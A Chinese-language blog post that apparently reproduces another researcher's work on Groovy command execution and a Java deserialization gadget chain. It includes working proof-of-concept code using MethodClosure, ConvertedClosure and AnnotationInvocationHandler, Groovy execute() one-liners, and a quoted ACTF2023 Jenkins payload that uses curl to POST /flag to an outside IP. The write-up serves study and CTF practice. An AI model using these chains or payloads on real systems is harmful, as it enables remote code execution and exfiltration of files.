groovy反序列化

Groovy

前言

不知道是不是脑子烧糊涂了,不理解

纯复现Boogipop大佬的操作

依赖

<dependency>
	<groupId>org.codehaus.groovy</groupId>
	<artifactId>groovy-all</artifactId>
	<version>2.4.3</version>
</dependency>

Groovy命令执行

package org.example;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Map;

public class test{
    public static void main(String[] args) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {
        MethodClosure exec = new MethodClosure(Runtime.getRuntime(), "exec");
        Method doCall = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
        doCall.setAccessible(true);
        doCall.invoke(exec,"calc");
    }


}

image-20240307221715865

image-20240307221654763

String.execute()

Groovy为String对象封装了一个execute方法用来动态执行命令

image-20240307221922462

package org.example

import org.codehaus.groovy.runtime.MethodClosure

import java.lang.reflect.Method

class Groovy {
    static void main(String[] args) {
        println("whoami".execute().text);
    }
}
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

注意这里是groovy文件,而不是java文件

被坑了,我说咋不行

ACTF2023 hooks

就说相关的一步

jenkins的RCE用到groovy

https://github.com/orangetw/awesome-jenkins-rce-2019

https://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

那题要重定向,TEL✌的payload经过url解密之后长这样

http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?value=public class x{
	public x(){
		"curl 8.134.216.221:1234 -X POST -F xx=@/flag".execute()
	}
}

可以看到就是利用这一特性

Groovy反序列化链

ConvertedClosure

ConvertedCloure实际上是一个动态代理类,它继承了ConversionHandler

。。。算了,自己都不懂,看别人的吧

package org.example;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Map;


public class test{
    public static void main(String[] args) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {

        //封装我们需要执行的对象
        MethodClosure methodClosure = new MethodClosure("calc", "execute");
        ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        // 创建 ConvertedClosure 的动态代理类实例
        Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);

        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
            outputStream.writeObject(invocationHandler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
            inputStream.readObject();
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }


}

大概的调用栈

AnnotationInvocationHandler.readObject()
    Map.entrySet() (Proxy)
        ConversionHandler.invoke()
            ConvertedClosure.invokeCustom()
		        MethodClosure.call()
                    ProcessGroovyMethods.execute()

分析也看别人的吧

给出最后一步,也是利用doCall函数命令执行

image-20240307223155817

finally

能够命令执行的地方好像越来越看不懂了,从刚开始的反射比较容易,现在都不知道哪里可以命令执行,更不要说挖链子了

每篇一言

即使他没有回头,我也一直在寻找他的身影,可我找到他,他却对我重拳出击,我不明白他突然为何这样对我,直到她的出现我才反应过来,他之所以离开,是因为他早已有了更好的人选,可我不想就此离去,我想击败她证明给他看,我才是最好的而我没有想到他为了她会选择阻拦我,甚至不惜收下我的性命


groovy反序列化
https://zer0peach.github.io/2024/03/07/groovy反序列化/
作者
Zer0peach
发布于
2024年3月7日
许可协议